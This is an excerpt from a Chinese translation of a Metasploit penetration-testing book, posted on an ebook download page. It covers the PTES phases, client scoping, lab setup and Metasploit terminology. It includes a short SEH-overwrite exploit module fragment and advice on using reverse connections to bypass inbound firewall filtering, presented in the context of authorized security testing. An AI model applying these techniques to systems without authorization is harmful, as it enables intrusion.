精通Metasploit渗透测试(第2版)(txt+pdf+epub+mobi电子书下载)


发布时间:2020-07-08 17:16:20

点击下载

作者:尼理·贾斯瓦尔(Nipun Jaswal)

出版社:人民邮电出版社

格式: AZW3, DOCX, EPUB, MOBI, PDF, TXT

精通Metasploit渗透测试(第2版)

精通Metasploit渗透测试(第2版)试读:

前言

如今,在商业领域到处都需要渗透测试。随着近年来网络和计算机犯罪的逐年递增,渗透测试已经成为网络安全研究的核心问题之一。应用渗透测试技术可以有效地避免来自企业内部和外部的威胁。而企业应用渗透测试的必要性就在于它可以发现网络、系统或者应用程序的漏洞。此外,由于渗透测试是从攻击者的角度出发,因而可以更好地发现企业的弱点和威胁。在发现系统中的各种潜在缺陷以后,渗透测试还要利用这些漏洞来评估系统存在的风险因素以及漏洞可能产生的影响。

不过,渗透测试能否成功很大程度上取决于渗透测试工程师对目标信息的掌握情况。因此,渗透测试工程师通常会采用黑盒测试和白盒测试两种截然不同的方法开展工作。黑盒测试指的是渗透测试工程师在事先并没有目标内部信息的情况下开展的测试。因此渗透测试的第一步通常是系统地收集目标的信息。而在进行白盒渗透测试时,渗透测试工程师事先掌握了足够的目标环境的内部信息,可以直接验证目标系统可能存在的安全漏洞。

通常一次完整的渗透测试包含下面7个阶段。

(1) 前期交互阶段

在前期交互阶段,渗透测试工程师要确定渗透测试预期达到的目标,并确定测试的范围。渗透测试工程师将在这个阶段与客户展开讨论,确定本次渗透测试的所有业务与细节。

(2) 信息收集阶段

在信息收集阶段,渗透测试工程师在确定了目标和范围以后,就要采用主动和被动两种方法收集目标信息。其中被动信息收集可以在完全不接触目标的情况下进行。

(3) 威胁建模阶段

在威胁建模阶段,渗透测试工程师要根据之前获得的信息,找出对目标系统威胁最大的弱点,从而确定最为高效的渗透攻击方式。

(4) 漏洞分析阶段

在漏洞分析阶段,渗透测试工程师要找到并确认目标系统上存在的已知的和未知的漏洞,然后在实验环境中进行验证。

(5) 渗透攻击阶段

在渗透攻击阶段,渗透测试工程师要利用之前得到的成果入侵目标系统的漏洞。这意味着在这个阶段,渗透测试工程师会尝试去获得目标系统的控制权。

(6) 后渗透攻击阶段

在后渗透攻击阶段,渗透测试工程师要开展一些实际的入侵行为。例如,盗取目标计算机的某个机密文件,直接关闭目标系统,或者在目标系统上创建一个新的远程管理账户,等等。一般来说,渗透测试工程师应该在这个阶段完成渗透攻击后的所有工作。

(7) 报告阶段

在报告阶段,渗透测试工程师需要将所有渗透测试过程中的工作进行汇总,并以书面报告的形式提交给客户。报告中还应该包括漏洞修补和安全升级的解决方案。

当渗透测试的目标仅仅是一台计算机时,完成以上7个阶段的难度似乎不大。可是当渗透测试工程师要面对的目标环境包含数以百计的计算机时,一切就不那么容易了。因此,在对大型网络进行渗透测试的时候,往往需要使用自动化渗透测试框架来代替手工测试。可以设想这样一个场景,渗透的目标刚好包含了一百台运行着同样操作系统以及提供相同系统服务的计算机。如果渗透测试工程师手动对每一台计算机进行测试,那么将会耗费掉大量的时间和精力。这种复杂情况正是渗透测试框架可以应对的,通过使用渗透测试框架不仅会为渗透测试工程师节省大量时间,同时也可以提供更多和更加灵活的渗透测试方法。渗透测试框架可以帮助你自动实现大部分工作,例如对攻击向量、扫描过程、漏洞识别以及最重要的漏洞渗透攻击的处理,从而节省时间并控制节奏。这正是Metasploit的作用所在。

Metasploit是目前最优秀,同时也是使用最广泛的渗透测试框架之一。在IT安全社区推广者的支持下,Metasploit不仅满足了一款大型渗透测试工具的需求,也提供了创新性功能,为渗透测试工程师带来了极大的便利。

本书的目标就是为读者介绍世界上最为流行的渗透测试框架Metasploit。本书着重从以下几个方面掌握Metasploit:渗透攻击、编写自定义渗透攻击模块、移植渗透攻击模块、测试服务以及进行复杂的客户端测试。本书还会指导读者将用指定的Ruby、汇编或者脚本语言(如Cortana)编写的外部渗透测试模块转换成Metasploit中的模块。阅读本书还将有助于提高读者的编程能力。本书内容

第1章,走近Metasploit渗透测试框架。本章将带领我们使用Metasploit进行一次基础的渗透测试,从而帮助我们学习渗透测试方法和建立渗透测试环境;此外,还将系统讲解渗透测试的各个阶段。

第2章,打造定制化的Metasploit渗透测试框架。本章将系统讲解用来构建Metasploit模块所需的Ruby编程要点,并对现有Metasploit模块的结构进行说明。此外,还将详细介绍如何完成扫描器、认证测试工具、后渗透模块以及登录凭证采集模块的编写。

第3章,渗透模块的开发过程。本章将系统演示渗透模块的开发过程,并研究其中的开发要点;此外,将讲解如何使用程序测试和调试器,以及如何通过在调试器下观察应用程序的行为来收集开发所需要的重要信息;最后,还将演示如何利用这些收集到的重要信息编写一个Metasploit模块,并讨论绕过SEH和DEP这类系统保护机制的方法。

第4章,渗透模块的移植。本章将讲解如何将那些已经公开的可用渗透工具移植到Metasploit框架中,重点描述如何找出那些使用Perl、Python以及PHP语言编写的模块的核心功能,并通过Metasploit库将这些模块转化为成Metasploit框架的一部分。

第5章,使用Metasploit对服务进行测试。本章将带领我们对各种常见服务进行渗透测试,其中还包含了Metasploit中的一些重要模块,这些模块可以用来对SCADA、数据库和VOIP服务进行测试。

第6章,虚拟化测试的原因和阶段。本章将简要介绍使用Metasploit进行渗透测试的过程,并重点介绍那些可以协同Metasploit完成渗透测试任务的工具(例如Nmap、Nessus和OpenVAS)以及它们在Metasploit中的使用方法。最后,将讲解如何手动和自动地生成报表。

第7章,客户端渗透。本章将学习重点转移到了客户端渗透攻击,重点讨论如何将传统的客户端渗透攻击转变得更加复杂、精准。首先,将介绍一个基于浏览器的渗透模块和一个基于文件格式的渗透模块,并讲解这些模块对被渗透的Web服务器和网站用户的影响;然后,将展示如何通过Metasploit中的DNS欺骗模块将浏览器的渗透模块变成一个致命的武器;最后,将讲解如何使用Metasploit来完成对Android和Linux系统的渗透。

第8章,Metasploit的扩展功能。本章将首先研究Meterpreter中提供的基本后渗透功能和高级后渗透功能,并在此基础上进行更深入的研究;同时,还将讨论一些更高级的和基于硬件的后渗透模块。

第9章,提高渗透测试的速度。本章的重点是那些能加快渗透测试速度的策略和脚本,其中不仅会讲解如何加快渗透测试,还会介绍如何在编写渗透模块时利用Metasploit中的辅助功能来节省大量时间;最后,还将讨论如何自动地完成后渗透测试。

第10章,利用Armitage实现Metasploit的可视化管理。本章将会讲解当前Metasploit最为流行的图形用户界面——Armitage,并使用Armitage对目标进行扫描和渗透。此外,还将详细讲解Cortana,并利用它来编写自动化渗透攻击的脚本。最后,将讨论如何在Armitage中添加自定义的功能和创建自定义的界面菜单。本书要求

如果读者想完成本书中的示例,将需要6到7台计算机,其中一台作为渗透测试机,另外几台可以作为渗透测试的靶机。如果读者的硬件资源十分有限,也可以在同一台计算机上运行多个虚拟机来搭建渗透测试实验环境。

除此以外,读者还需要最新的Kali Linux安装镜像文件,Kali作为Metasploit的运行平台,同时集成了本书提到的其他渗透测试工具。

读者还需要将Ubuntu、Windows XP、Windows 7、Windows Server 2008、Windows Server 2012、Metasploitable 2 和 Windows 10这些系统安装到虚拟机中,或者直接安装到计算机上,因为这些操作系统将成为Metasploit渗透测试的靶机。

此外,本书的每一章都提供了示例中使用的其他工具和存在漏洞的软件的下载链接。读者对象

本书是Metasploit使用者的渗透测试指南,包含了完整的Metasploit渗透模块开发过程。在这个过程中,你将会见识到大量的技术和方法。通过学习这些技术和方法,你将掌握如何运用Metasploit框架,并且了解如何在高度安全的环境中进行高级渗透测试。排版约定

本书采用了不同的文本格式,以区分不同类型的信息,以下是这些格式的解释。

正文中的代码、用户输入会以等宽字体进行表示,如:“这可以用db_export方法来实现。”

代码块的表示如下所示:def exploit connect weapon = "HEAD " weapon << make_nops(target['Offset']) weapon << generate_seh_record(target.ret) weapon << make_nops(19) weapon << payload.encoded weapon << " HTTP/1.0\r\n\r\n" sock.put(weapon) handler disconnect endend

当需要特别注意代码块的某一部分时,将会加粗显示。 weapon << make_nops(target['Offset']) weapon << generate_seh_record(target.ret) weapon << make_nops(19) weapon << payload.encoded

命令行输入和输出如下所示:irb(main):003:1> res = a ^ birb(main):004:1> return res

新术语或者关键词会使用黑体表示。 这个图标表示警告或需要特别注意的内容。

  这个图标表示提示或者技巧。读者反馈

我们欢迎读者的反馈意见。如果对本书有任何的想法,喜欢或者不喜欢哪些内容,都可以告诉我们。这些反馈意见对于帮助我们创作出对大家真正有所帮助的作品至关重要。

你可以将一般的反馈以电子邮件的形式发送到feedback@packtpub.com,并在邮件主题中注明书名。

如果你在某一方面很有造诣,并且愿意著书或参与合著,可以参考我们的作者指南http://www.packtpub.com/authors。致谢

首先,我要感谢本书第1版的每一位读者,是你们造就了本书的成功;感谢我的母亲Sushma Jaswal和祖母Malkiet Parmar,感谢她们在我生命中的每个阶段对我的帮助;感谢Mini Malhotra在本书写作过程中给予我的大力支持;感谢Adrian Pruteanu审阅本书初稿并提出修改建议;感谢Packt这支优秀团队中的每一位成员,包括Prachi Bisht和Trusha Shriyan,感谢他们给我机会从事这个非常精彩的项目;最后,我还要感谢上帝,感谢他赐予我巨大的力量来完成这个项目。第1章走近Metasploit渗透测试框架“除了上帝,我皆可渗透。”——Binoj Koshy,网络安全专家

渗透测试是一种有目的性的、针对目标机构计算机系统安全的检测评估方法。渗透测试可以发现系统的漏洞和安全机制方面的隐患,并以此进行渗透攻击来取得目标计算机的控制权。通过渗透测试可以知道目标机构的计算机系统是否易于受到攻击,现有的安全部署是否能妥善地抵御攻击,以及哪部分安全机制可能被绕过,等等。渗透测试的主要目的是改善目标机构的安全性。

正所谓“工欲善其事,必先利其器”,渗透测试能否成功很大程度上取决于测试时是否使用了正确的工具和技术。渗透测试工程师必须选择正确的渗透测试工具和技术,才能保证任务的完成。当提到最优秀的渗透测试工具时,安全业界的绝大多数人都会首先想到Metasploit渗透框架。现在,Metasploit被公认是进行渗透测试时最有效的安全审计工具之一,它提供了最全面的漏洞渗透模块库,集成了优秀的模块开发环境,具有强大的信息收集和Web测试能力及其他许多功能。

本书不仅介绍了Metasploit渗透框架的功能与用法,同时也重点讲解了如何开发Metasploit模块和扩展Metasploit框架。本书假定读者已经掌握了Metasploit渗透框架的基础知识。在本书的部分章节中,我们也将带领读者回顾一些Metasploit渗透框架的基础性操作。

根据本书涵盖的所有知识,我们将按照下图所示的流程进行讲述。

本章将回顾渗透测试和Metasploit渗透框架的基础内容,这有助于我们学习后面的内容。

本章将着眼于以下几个要点。● 渗透测试的各个阶段● Metasploit框架的基本操作● 渗透模块的作用● 使用Metasploit对目标网络进行渗透测试● 使用数据库的优势

正如“罗马不是一天就能建成的”,我们也不可能一天就成为专家级的渗透测试工程师。从一个菜鸟转变成一个渗透高手需要大量的实践工作,熟悉工作环境,具备对危急情况的处理经验,而最为重要的是,需要在反复的渗透测试工作中不断加深自己对该技能的领悟。

要对一个目标进行渗透测试,首先必须确保安全测试计划遵循了渗透测试执行标准(Penetration Testing Execution Standard,PTES)。如果对渗透测试的流程并不了解,可以登录http://www.pentest-tandard.org/index.php/PTES_Technical_Guidelines来学习渗透测试和安全分析部分的内容。依照PTES的要求,下图给出了渗透测试过程的各个阶段。

请参考http://www.pentest-standard.org网站,了解如何在工作环境中设置硬件和渗透测试系统阶段。这些设置都是进行专业渗透测试所需要的。1.1 组织一次渗透测试

在开始先进、复杂的Metasploit攻击之前,必须先适应工作环境。获得关于工作环境的信息是一个很关键的因素,而它在进行渗透测试之前就开始起作用了。在开始Metasploit的练习之前,先来了解一下渗透测试的各个阶段,看看一个专业的渗透测试是如何组织的。1.2 前期交互阶段

作为渗透测试的第一个步骤,前期交互阶段将确定客户(可能是一个公司、机构或者网络)的渗透测试的关键细节。这一切都是在与客户进行商讨之后决定的。这个阶段是连接客户与渗透测试工程师的桥梁。在这个阶段,渗透测试工程师要与客户进行充分的交流,以便客户对即将开展的渗透测试会对他的网络或者服务器产生的影响有足够的了解。因此,渗透测试工程师此时要以一个客户指导者的身份来进行这一阶段的工作。这一阶段还将确定渗透测试的范围、目标以及代表客户进行测试时的特殊需求,例如特殊的权限、关键系统的访问许可等。商讨的范围还将包括渗透测试预期对测试目标所产生的积极效果。在本阶段,需要商讨的关键点如下所示。● 渗透测试的范围:这一部分需要确定渗透测试的范围并预估整个

项目的工作量。同时要确定哪些目标在渗透测试范围内,哪些是

不允许进行渗透测试的。测试者要确认渗透区域内涉及的IP地址

范围和域名范围,以及采用的测试类型(黑盒测试或白盒测试)。

比如,当进行白盒测试时,会给予测试者哪些权限,是否可以对

目标管理人员开展问卷调查,在什么时间段可以开展渗透测试,

是否能对目标环境进行网络流量压力测试,以及商定本次渗透测

试的费用以及支付条款。关于渗透范围的常规文档应该包含了如

下问题的答案。● 目标组织最大的安全问题是什么?● 应该对哪些主机、网络地址范围或者应用程序进行测试?● 在测试时,应该将哪些主机、网络地址范围或者应用程序排除在测试范围之外?● 在测试范围内是否存在第三方系统或者网络?它们拥有了哪些系统(在渗透前是否需要获得目标组织的书面许可)?● 渗透测试是在现场实地环境中进行还是在虚拟测试环境中进行?● 渗透测试是否包括以下测试技术:使用ping对网络范围进行扫描、对目标主机进行端口扫描、对目标进行漏洞扫描、对目标进行渗透测试、应用程序级的操作、客户端Java/ActiveX逆向功能、物理渗透尝试、社会工程学。● 渗透测试是否包括内部网络测试?如果包括的话,如何获取权限?● 客户端/终端用户系统是否包含在测试范围内?如果包含的话,将会涉及多少客户?● 是否允许使用社会工程学手段?如果允许的话,如何使用?● 是否允许使用拒绝服务攻击?● 是否可以使用具有破坏性的检查手段和渗透模块?● 渗透测试的目标:这一部分要商定本次渗透测试预期达到的主要

和次要效果。有关渗透目标的常见问题列举如下。● 这次渗透测试的商业需求是什么?■ 出于审计和标准化的目的■ 积极主动的内部决策以确定所有弱点● 目标是什么?■ 列出目标的各种漏洞■ 证明各种漏洞的存在■ 测试各种事件响应■ 对网络、系统或者应用程序漏洞的渗透模块开发■ 以上全部● 渗透测试用到的术语和定义:这一部分要向客户介绍整个测试过

程中出现的专业术语和定义,以便客户能够更好地理解整个渗透

测试工作。● 渗透测试的规定:这一部分要商定完成渗透测试的工期,具体工

作展开的进度表,渗透攻击的授权许可,以及定期召开会议以跟

进渗透测试进程中出现的各种情况。有关约定规则的常见问题列

举如下。● 希望在什么时候执行这些测试?■ 在工作时间■ 下班之后■ 在周末■ 在系统维护期间● 这个测试是在生产环境下进行的吗?● 如果生产环境不能受到影响,是否存在类似的环境(开发或者测试系统)可以用来进行渗透测试?● 谁是技术要点的联系人?

如果想获得关于前期交互的更多信息,请访问网址http://www.pentest-standard.org/index.php/Intelligence_Gathering。1.3 信息收集/侦查阶段

在信息收集阶段,你需要尽可能采用各种方式来收集目标网络的所有信息。这个目标网络可能是互联网的一个网站,或者是一个社会性的组织,甚至可能是一个财力雄厚的老牌商业公司。在这个阶段,最重要的是要通过各种社交媒体网络来收集相关信息,以及使用Google Hacking技术(一种使用特殊的查询方法通过Google搜索引擎收集敏感信息的工具)去寻找目标的相关信息。另外,对目标使用主动扫描和被动扫描技术进行踩点(footprinting)也是一种可行的办法。

信息收集是整个渗透测试过程中最为重要的阶段之一。与尝试所有可行的渗透测试方法相比,对目标有适当的了解可以让测试者选择合适和准确的渗透测试攻击方式。这样做将会大大缩短整个渗透测试耗费的时间。通常这个阶段会占到整个渗透测试所需时间的40%~60%。最终能否成功渗透进入目标网络很大程度上取决于测试者在这个阶段的工作成果。

作为一名渗透测试工程师,必须要把通过对目标网络进行各种扫描以获得足够的信息作为自己的职责。扫描目标计算机上运行的服务、开放的端口,以及验证这些端口上运行着的全部服务,然后判断这些服务中哪些是可以被攻击的,并且决定如何利用它们作为入侵目标的通道。

其次,在这个阶段还要明确目标网络当前部署的安全控制措施以及如何才能破坏这些措施。

接下来用一个示例来讨论这一点。设想这里有一个针对Web服务器的黑盒测试,客户希望进行网络流量压力测试。

我们将对服务器进行网络流量压力测试以判断目标的抗流量压力水平。简言之,就是服务器对拒绝服务(Denial of Service,DoS)攻击的应对能力。DoS攻击或网络流量压力测试指的是向目标服务器发送数量极为巨大的网络请求或数据,其目的是检测目标服务器在面对此类情形时,是能够继续正常工作还是因资源耗尽而拒绝服务。为了实现这个目标,我们启动网络压力测试工具,并对目标网站发起一次攻击。然而,在攻击发起之后的几秒,服务器端就不再响应我们的客户端请求,从Web客户端也无法打开目标服务器的Web页面。此外,浏览器上还会显示目标Web页面已经不在线的提示。这是怎么回事呢?是我们已经成功搞掉了目标服务器吗?可惜的是,并非如此。事实上,这表明目标服务器存在保护机制。由于目标服务器的管理人员事先设置的保护机制发现了恶意攻击的企图,从而禁止了从我们的IP地址发起的后续访问请求。在发起攻击前必须准确地收集目标信息以及验证目标提供的各种网络服务。

因此,利用多个不同的IP地址对目标Web服务器进行测试是更好的选择。在测试时使用两到三个不同的虚拟专用服务器是一种值得推荐的做法。另外,我建议在使用攻击模块对真实目标进行渗透测试前,在虚拟环境下对所有的攻击模块进行模拟测试。一个正确的、关于攻击的模拟验证是必需的。如果没有进行模拟测试就开展了渗透测试,那么很有可能攻击模块会直接导致目标服务崩溃,而这并不是我们所期望见到的。网络压力测试通常应该在业务末期或者维护期进行。此外,将用于测试客户端的IP列在白名单中也是十分重要的。

现在来看第二个示例——一次对Windows 2012服务器的黑盒测试。在对目标服务器进行扫描的过程中,我们发现其80端口和8080端口都是开放的。在80端口上运行着最新版的互联网信息服务(Internet Information Services,IIS),在8080端口上运行着存在漏洞的Rejetto HFS服务器,而Rejetto HFS服务器容易受到远程代码执行(Remote Code Execution,RCE)漏洞的攻击。

然而,当我们试图利用这个有漏洞的HFS进行渗透的时候,却发现渗透失败了。这是一种很常见的情景,因为来自外部的恶意流量可能在防火墙处被拦截了。

若遇到这种情况,可以简单地改变入侵的方式,让目标服务器主动建立到我们的连接,而不是由我们去连接目标服务器。这种方法更容易成功,因为防火墙通常会被配置为检测入站流量而不是出站流量。

现在回到信息收集阶段,这一阶段涉及的步骤如下。● 目标选择:选择攻击的目标,确定攻击达到的效果以及整个攻击

过程花费的时间。● 隐私收集:包括现场信息采集,检查使用的设备信息,甚至从丢

弃的废品中收集信息。此外,它还包含了目标单位外部的信息收

集,例如识别目标单位所使用的数据仓库。通常这个阶段在白盒

测试时进行。● 踩点工作:包含针对目标的主动和被动扫描技术,例如网络端口

扫描、banner获取等。● 验证目标的安全机制:包含防火墙、网络流量过滤系统、网络和

主机的保护措施的确认工作等。 如果想获得关于信息收集的更多信息,请访问网址

http://www.pentest-standard.org/index.php/

Intelligence_Gathering。1.4 了解测试环境

大多数时候,当渗透测试工程师开始进行渗透的时候,他们已经明确下一步要做什么了。这意味着如果他们看到一个Windows操作系统在运行,将会选择专门针对Windows操作系统的渗透模块(exploit)。以一个针对NETAPI服务漏洞的渗透模块为例,由于Windows XP操作系统普遍存在这个漏洞,这个模块就是一个极佳的选择。假设这样一种情形,渗透测试工程师需要访问一个组织。在访问开始之前,他已经知道了该机构所使用的计算机中约有90%使用了微软的Windows XP操作系统,还有一些使用了Windows 2000 Server操作系统。他此时就可以打定主意,采用Metasploit框架中针对NETAPI服务漏洞的渗透模块,对那些安装了Windows XP的计算机进行渗透测试,另外选用针对DCOM漏洞的模块对Windows 2000 Server进行渗透测试。我们也将在本章后面演示如何在实际中利用这些漏洞。

接下来考虑另一个关于Web服务器的白盒测试,在这台服务器上运行的网站中的页面都是.asp或者.aspx类型。在这种情况下,我们可以选择针对Windows的渗透模块和针对微软的测试工具。另外,在这次测试中我们就不用考虑针对Linux操作系统的渗透模块和测试工具了。

因此,对目标测试环境的了解降低了接下来对客户的测试难度。如果想获得关于NETAPI的更多信息,请访问网址

http://technet.microsoft.com/en-us/security/bulletin/

ms08-067。如果想获得关于DCOM的更多信息,请访问网址http://

www.rapid7.com/db/modules/exploit/Windows/dcerpc/

ms03_026_dcom。1.4.1 威胁建模阶段

为了保证我们的渗透测试能够正确进行,必须进行威胁建模。在这个阶段,主要的工作是模拟出对目标准确的威胁以及这些威胁的作用,并根据这些威胁可能对目标产生的影响对其进行分类。根据之前在信息收集阶段作出的分析,在这个阶段我们可以确定最佳的攻击方式。威胁建模方法适用于商业资产分析、过程分析、威胁分析以及威胁能力分析。这一阶段将解决以下问题。● 如何攻击指定的网络?● 需要获得的重要信息是什么?● 在攻击时采取什么方法最为合适?● 对目标来说最大的安全威胁是什么?

威胁建模将有助于渗透测试工程师完成以下一系列工作。● 收集有关高等级威胁的相关文档。● 根据基本的分类方法对组织的资源进行标识。● 对威胁进行识别和分类。● 将组织的资源映射成模型。

威胁建模将有助于明确哪些资源最容易受到威胁,以及这些威胁各自是什么。

现在来讨论第三个例子,假定现在有一个针对公司网站的黑盒测试。目标公司的客户信息是公司的重要资产。然而,在同一后台程序的另一个数据库中保存了客户交易的记录。在这种情形下,攻击者就可能利用SQL注入漏洞获取客户交易的记录,而交易记录属于其他资产。因此在这个阶段,应该建立一个针对重要资产和其他资产的SQL注入漏洞威胁模型。

漏洞扫描工具(例如Nexpose和Metasploit Pro版)可以帮助我们以自动化的方式快速清晰地完成威胁建模。在开展大规模的测试时,这个优势更为明显。 如果想获取关于威胁建模的更多信息,请访问网址

http://www.pentest-standard.org/index.php/

Threat_Modeling。1.4.2 漏洞分析阶段

漏洞分析是在一个系统或者一个应用程序中发现漏洞的过程。这些漏洞多种多样,涵盖了很多方面,从服务器的配置到Web程序服务,从应用程序到数据库服务,从一个基于VOIP的服务器到基于SCADA的服务都可能存在漏洞。在这个阶段包含了三个不同的机制,那就是测试、验证和研究。测试包括主动测试和被动测试。验证包括去除误报和通过手动验证确认漏洞的存在。研究指的是发现并触发漏洞以确认它的存在。 有关威胁建模阶段的各个过程的更多信息,请访问

http://www.pentest-standard.org/index.php/

vulnerability_analysis。1.4.3 渗透阶段和后渗透阶段

渗透攻击阶段可以利用之前漏洞分析阶段的成果。这个阶段一般被认为是真正的攻击阶段。在这个阶段,渗透测试者可以针对目标系统的漏洞使用对应的入侵模块获得控制权限。本书主要介绍的就是这个阶段。

后渗透阶段发生在渗透阶段之后,这个阶段包含了当成功渗透攻击到对方计算机以后的很多任务,比如提升权限、上传和下载文件、跳板攻击,等等。有关渗透阶段各个过程的详细信息,请访问http://

www.pentest-standard.org/index.php/Exploitation。有关后渗透阶段的更多信息,请访问http://

www.pentest-standard.org/index.php/Post_Exploitation。1.4.4 报告阶段

在进行渗透测试时,创建整个渗透测试的正式报告是在最后一个阶段进行的。渗透测试报告的重要组成部分包括:确定目标最为重要的威胁,将渗透得到的数据生成表格和图表,对目标系统的改进建议,以及这些问题的修复方案。在本书的后半部分,将会用一节来详细描述如何编写渗透测试报告。 有关报告阶段各个过程的详细信息,请访问http://

www.pentest-standard.org/index.php/reporting。1.4.5 工作环境的准备

在战争开始之前,士兵们必须确保其武器装备处于最佳状态。这个原则也正是我们要遵循的。成功的测试环境取决于你的测试实验室是如何配置的。一个成功的测试需要回答以下问题。● 测试实验室的配置如何?● 具备所有必需的测试工具吗?● 硬件是否足以支持这些工具的运行?

在开始任何测试之前,必须确保所有的工具都已准备就绪并且都能顺利地工作。1.5 在虚拟环境中安装Kali Linux

在开始使用Metasploit之前,需要有一个测试用的实验环境。建立这种环境最好的办法就是拥有数目众多的计算机,同时在这些计算机上安装不同的操作系统。然而,如果只有一台计算机的话,最好的办法就是建立一个虚拟的实验环境。

虚拟化技术在如今的渗透测试中扮演了十分重要的角色。由于硬件设备的价格相对昂贵,采用虚拟化技术可以使得渗透测试经济有效。在一台计算机上模拟出多个操作系统不仅可以节省大量成本,同时也降低了电力的使用和空间的占用。建立一个虚拟化的渗透测试环境可以避免对你的真实主机系统进行任何修改,并使得我们的所有操作都在一个独立的环境中进行。虚拟化的网络环境允许你的渗透测试在一个独立的虚拟网络中运行,从而无须使用或者修改主机系统的网络硬件。

此外,使用虚拟化技术的快照功能可以保存虚拟机在某一时刻的状态。这种功能相当有用,因为在我们进行一个虚拟测试的时候,可以随时拿系统当前的状态与之前的状态进行比较,也可以将系统随时恢复到之前的状态,这样如果文件在模拟攻击时发生了变化就无须再重新安装整个软件环境了。主机系统需要拥有足够的硬件资源(比如RAM、处理能力、驱动器空间等 )来保证虚拟化能顺利运行。 有关快照的更多信息,请访问https://

www.virtualbox.org/manual/ch1.html#snapshots。

现在来看看如何使用Kali操作系统创建一个虚拟测试环境。Kali是全世界最流行的渗透操作系统,该系统中默认安装了Metasploit。 可以从以下网址下载用于VMware和VirtualBox虚拟

机的Kali Linux预建镜像:https://www.offensive-security.com/

kali-linux-vmware-virtualbox-image-download/。

为了创建虚拟操作系统,需要支持虚拟化的仿真软件。可以从当前最为流行的两款软件VirtualBox和VMware Player中选择一个。好了,可以按照下面的步骤开始安装了。

(1) 在VirtualBox的官方网站(http://www.virtualbox.org/wiki/Downloads) 下载VirtualBox安装程序。在下载的时候要注意选择与工作环境匹配的版本。

(2) 开始运行安装程序,直到系统安装工作完成。

(3) 完成了安装工作之后就可以启动VirtualBox程序。运行效果如下图所示。

(4) 在Name文本框字段中为新建立的操作系统输入一个合适的名称。然后选择operating system类型和Version。

(5) 现在要安装一个新的操作系统,首先在工具栏中选择New。● 对于Kali Linux而言,需要将操作系统的类型选择为Linux,版本

选择为Linux 2.6/3.x/4.x。● 设置完成以后的界面如下图所示。

(6) 设置分配给这个虚拟系统运行时需要的内存。如果是Kali Linux的话,则至少要分配1 GB的系统内存。

(7) 接下来要给虚拟系统分配物理硬盘空间作为虚拟系统的硬盘。在创建虚拟硬盘的时候要选择dynamically allocated disk选项。选择这个选项的好处就是物理机所提供的硬盘空间可以随着虚拟系统占用空间的增长而变大,这样就不必一次性分配给虚拟系统大量的硬盘资源。

(8) 然后设置分配给虚拟系统的虚拟硬盘初始大小,在这里设置为10 GB就足够了。

(9) 现在可以单击Create按钮来创建虚拟磁盘了。

(10) 单击Start按钮开始运行虚拟系统。第一次运行时,通常会弹出一个窗口,显示这是第一次运行。在路径选择对话框中为Kali的.iso文件设置好在硬盘上的位置之后,单击Start按钮继续安装过程。这个过程如下图所示。

你可以以Live模式运行Kali Linux,或者使用Graphical Install/Install将系统永久安装在硬盘上,这一选择界面如同下图所示。有关Kali Linux的完整安装指导,请访问http://

docs.kali.org/category/installation。如需通过命令行在Linux系统上安装Metasploit,请访问

http://www.darkoperator.com/installing-metasploit-in-ubunt/。如需在Windows操作系统上安装Metasploit,请访问以

下网址的教程:https://community.rapid7.com/servlet/

JiveServlet/downloadBody/299-12-11-6553/windows-

installation-guide.pdf。1.6 Metasploit基础

到现在为止我们已经回顾了渗透测试的基础内容,也完成了Kali Linux的建立。接下来介绍一下重点部分:Metasploit。Metasploit是一种安全框架,为渗透测试工程师提供了大量的渗透模块和扫描模块。2003年H.D Moore创建了Metasploit,从那之后Metasploit便快速发展起来,如今被公认是最为流行的渗透测试工具之一。Metasploit是一个完全的Ruby驱动项目,提供了大量的漏洞渗透、攻击载荷(payload)、编码技术以及后渗透模块。

Metasploit提供了以下多种版本。● Metasploit Pro版:这是Metasploit的一个商业化版本,提供了大

量的功能,例如Web应用程序扫描工具、杀毒软件绕过工具、自

动化渗透工具,十分适合专业渗透测试工程师和IT安全团队使用。

Pro版通常用来实现高级渗透测试和企业安全项目。● Metasploit Express版:这是一个为初级渗透测试工程师设计的版

本。这个版本中的Metasploit包含了智能化渗透、密码的自动化

暴力破解等功能,十分适合中小型企业的IT安全团队使用。● Metasploit Community版:这是Metasploit Express精简后的免费

版本。对于小企业和学生来说这是一个不错的选择。● Metasploit Framework版:这是一个完全在命令行中运行的版

本。这个版本的所有任务都在命令行下完成,比如说手工渗透、

第三方模块导入等。该版本适合开发人员和安全研究人员。

本书中采用的是Metasploit Community版和Framework版。Metasploit还提供了下面几种类型的用户界面。● GUI(Graphical User Interface)界面:在图形化工作模式下,往

往轻点一下鼠标就能完成所有的任务。这种工作方式提供了友好

的操作模式和简单快捷的漏洞管理方式。● 控制台界面:最为普遍也最为流行的工作方式。这种界面提供了

一种统一的工作方式来管理Metasploit的所有功能。这种管理方

法通常也被认为是最稳定的控制方法之一。在本书中,这种管理

方式是最常用的。● 命令行界面:命令行界面是功能最为强大的界面,它支持对渗透

模块的所有操作(例如攻击载荷的生成)。然而在使用命令行界

面时,记住每一条命令是十分困难的。● Armitage:Armitage是Raphael Mudge编写的一个充满了黑客风

格的GUI界面。Armitage提供轻松的漏洞管理、内置的NMAP扫

描和渗透攻击推荐,并通过使用Cortana脚本实现自动化功能。

本书最后用了一整章的内容来细致地讲解Armitage和Cortana脚

本语言。 有关Metasploit Community版的更多信息,请访问

https://community.rapid7.com/community/Metasploit/

blog/2011/12/21/Metasploit-tutorial-an-introduction-to-

Metasploit-community。1.7 使用Metasploit进行渗透测试

在Kali Linux建立完成之后,准备使用Metasploit开展我们的第一个渗透测试。不过在开始这个测试之前,先来回顾一下Metasploit的基本功能和术语。回顾Metasploit的基础知识

成功运行Metasploit之后,就可以在Metasploit的命令控制台上键入help命令,Metasploit会列出所有可以使用的命令。接下来回顾一下在Metasploit中使用的基本术语。● 渗透模块(exploit):这是一段程序,运行时会利用目标的安全

漏洞进行攻击。● 攻击载荷模块(payload):在成功对目标完成一次渗透之后,这

段程序开始在目标计算机上运行。它能帮助我们在目标系统上获

得需要的访问和行动权限。● 辅助模块(auxiliary):包含了一系列的辅助支持模块,包括扫

描模块、fuzz测试漏洞发掘模块、网络协议欺骗以及其他一些模

块。● 编码器模块(encoder):编码器模块通常用来对我们的攻击模

块进行代码混淆,来逃过目标安全保护机制的检测。目标安全保

护机制包括杀毒软件和防火墙等。● Meterpreter:Meterpreter是一种使用内存技术的攻击载荷,可以

注入到进程之中。它提供了各种可以在目标上执行的功能,从而

成为了最受欢迎的攻击载荷。

